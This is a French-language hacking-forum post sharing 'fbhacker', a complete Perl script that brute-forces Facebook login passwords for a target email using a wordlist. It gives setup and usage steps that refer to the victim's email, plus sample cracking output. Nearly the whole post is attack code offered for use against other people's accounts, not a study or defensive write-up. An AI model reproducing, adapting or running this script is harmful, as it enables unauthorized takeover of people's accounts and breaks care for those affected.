• Bienvenue à tous sur HackandModz !
  1. Ce site utilise des cookies. En continuant à utiliser ce site, vous acceptez l'utilisation des cookies. En savoir plus.
Rejeter la notice
Visiteur,
Bienvenue sur Hack & Modz

Linux fbhacker ( programme ecrit en perl )

Discussion dans 'Linux' créé par Speedx, Nov 12, 2016.

  • 347 0
    1. Speedx

      Speedx Membre
      33/52

      5
      2
      33

      Membre non noté

      0/5,
      Hors Ligne
      Ce petit logiciel ecrit en perl pour cracker les comptes Facebook, biensur faudra ce servi d'une wordlist.

      Je vous mets le code du programme ici :

      Code:
      #!/usr/bin/perl
      #
      
      use strict;
      use Net::SSLeay::Handle;
      
      if(!defined($ARGV[0] && $ARGV[1])) {
      
      system('clear');
      print "                               Version 2.32 \n";
      print "\033[1;32md88888b  .d8b.   .o88b. d88888b d8888b.  .d88b.  db   dD d88888b d8888b. \n";
      print "88'     d8' `8b d8P  Y8 88'     88  `8D .8P  Y8. 88 ,8P' 88'     88  `8D \n";
      print "88ooo   88ooo88 8P      88ooooo 88oooY' 88    88 88,8P   88ooooo 88oobY' \n";
      print "88~~~   88~~~88 8b      88~~~~~ 88~~~b. 88    88 88`8b   88~~~~~ 88`8b   \n";
      print "88      88   88 Y8b  d8 88.     88   8D `8b  d8' 88 `88. 88.     88 `88. \n";
      print "YP      YP   YP  `Y88P' Y88888P Y8888P'  `Y88P'  YP   YD Y88888P 88   YD \n";
      
      print "\033[1;31m          ======================================================\n";
      print "\033[1;37m               Usage: perl $0 Email wordlist.txt\n\n\n\n\n\n\n\n\n";
      print "\033[1;31m          ======================================================\n";
      print "\n";
      print "\n";
      print "\n";
      print "\n";
      print "\n";
      print "\n";
      exit; }
      
      my $user = $ARGV[0];
      my $wordlist = $ARGV[1];
      
      open (LIST, $wordlist) || die "\n[-] Can't find/open $wordlist\n";
      
      
      print "                               Version 2.32 \n";
      print "\033[1;32md88888b  .d8b.   .o88b. d88888b d8888b.  .d88b.  db   dD d88888b d8888b. \n";
      print "88'     d8' `8b d8P  Y8 88'     88  `8D .8P  Y8. 88 ,8P' 88'     88  `8D \n";
      print "88ooo   88ooo88 8P      88ooooo 88oooY' 88    88 88,8P   88ooooo 88oobY' \n";
      print "88~~~   88~~~88 8b      88~~~~~ 88~~~b. 88    88 88`8b   88~~~~~ 88`8b   \n";
      print "88      88   88 Y8b  d8 88.     88   8D `8b  d8' 88 `88. 88.     88 `88. \n";
      print "YP      YP   YP  `Y88P' Y88888P Y8888P'  `Y88P'  YP   YD Y88888P 88   YD \n";
      
      print "\033[1;31m          ======================================================\n";
      print "\033[1;31m                                                                 \n";
      print "\033[1;31m                                                                  \n";
      print "\033[1;33m                                                                   \n";
      print "\033[1;31m         ========================================================\n";
      
      print "\033[1;39m\n [+] Cracking Started on: $user ...\n\n";
      print "=======================================\n";
      
      while (my $password = <LIST>) {
      chomp ($password);
      $password =~ s/([^^A-Za-z0-9\-_.!~*'()])/ sprintf "%%%0x", ord $1 /eg;
      
      my $a = "POST /login.php HTTP/1.1";
      my $b = "Host: www.facebook.com";
      my $c = "Connection: close";
      my $e = "Cache-Control: max-age=0";
      my $f = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
      my $g = "Origin: https://www.facebook.com";
      my $h = "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31";
      my $i = "Content-Type: application/x-www-form-urlencoded";
      my $j = "Accept-Encoding: gzip,deflate,sdch";
      my $k = "Accept-Language: en-US,en;q=0.8";
      my $l = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3";
      
      my $cookie = "cookie: datr=80ZzUfKqDOjwL8pauwqMjHTa";
      my $post = "lsd=AVpD2t1f&display=&enable_profile_selector=&legacy_return=1&next=&profile_selector_ids=&trynum=1&timezone=300&lgnrnd=031110_Euoh&lgnjs=1366193470&email=$user&pass=$password&default_persistent=0&login=Log+In";
      my $cl = length($post);
      my $d = "Content-Length: $cl";
      
      
      my ($host, $port) = ("www.facebook.com", 443);
      
      tie(*SSL, "Net::SSLeay::Handle", $host, $port);
       
      
      print SSL "$a\n";
      print SSL "$b\n";
      print SSL "$c\n";
      print SSL "$d\n";
      print SSL "$e\n";
      print SSL "$f\n";
      print SSL "$g\n";
      print SSL "$h\n";
      print SSL "$i\n";
      print SSL "$j\n";
      print SSL "$k\n";
      print SSL "$l\n";
      print SSL "$cookie\n\n";
      
      print SSL "$post\n";
      
      my $success;
      while(my $result = <SSL>){
      if($result =~ /Location(.*?)/){
      $success = $1;
      }
      }
      if (!defined $success)
      {
      print "\033[1;31m[-] $password -> Failed \n";
      close SSL;
      }
      else
      {
      print "\033[1;32m\n########################################################\n";
      print "[+] \033[1;32mPassword Cracked: $password\n";
      print "\033[1;32m########################################################\n\n";
      close SSL;
      exit;
      }
      }

      1-Ouvrez un editeur de fichier, ex : gedit sous Linux
      2 mettez lui ses droit d'execution en chmod +x fbhacker.pl



      La commande pour ce servir de fbhacker est très simple :


      ./fbhacker emaildelavictime /home/utilisateur/dico.txt

      Voilà je l'ai fait avec mon compte facebook, j'ai biensur ajouter mon mots de passe et çà marche super.

      Code:
      ./fbhacker.pl xxxxxxxx@gmail.com txt.txt



      Le Resultat :


      Code:
      [+] Cracking Started on: HackeDEthiqueSecurite@gmail.com ...
      
      =======================================
      [-] sisisi -> Failed
      [-] coucou -> Failed
      [-] coucou** -> Failed
      
      ########################################################
      [+] Password Cracked:
      ########################################################

      Biensur là ou vous voyez password CrackeD c'est mon mots de passe trouver .

      voilà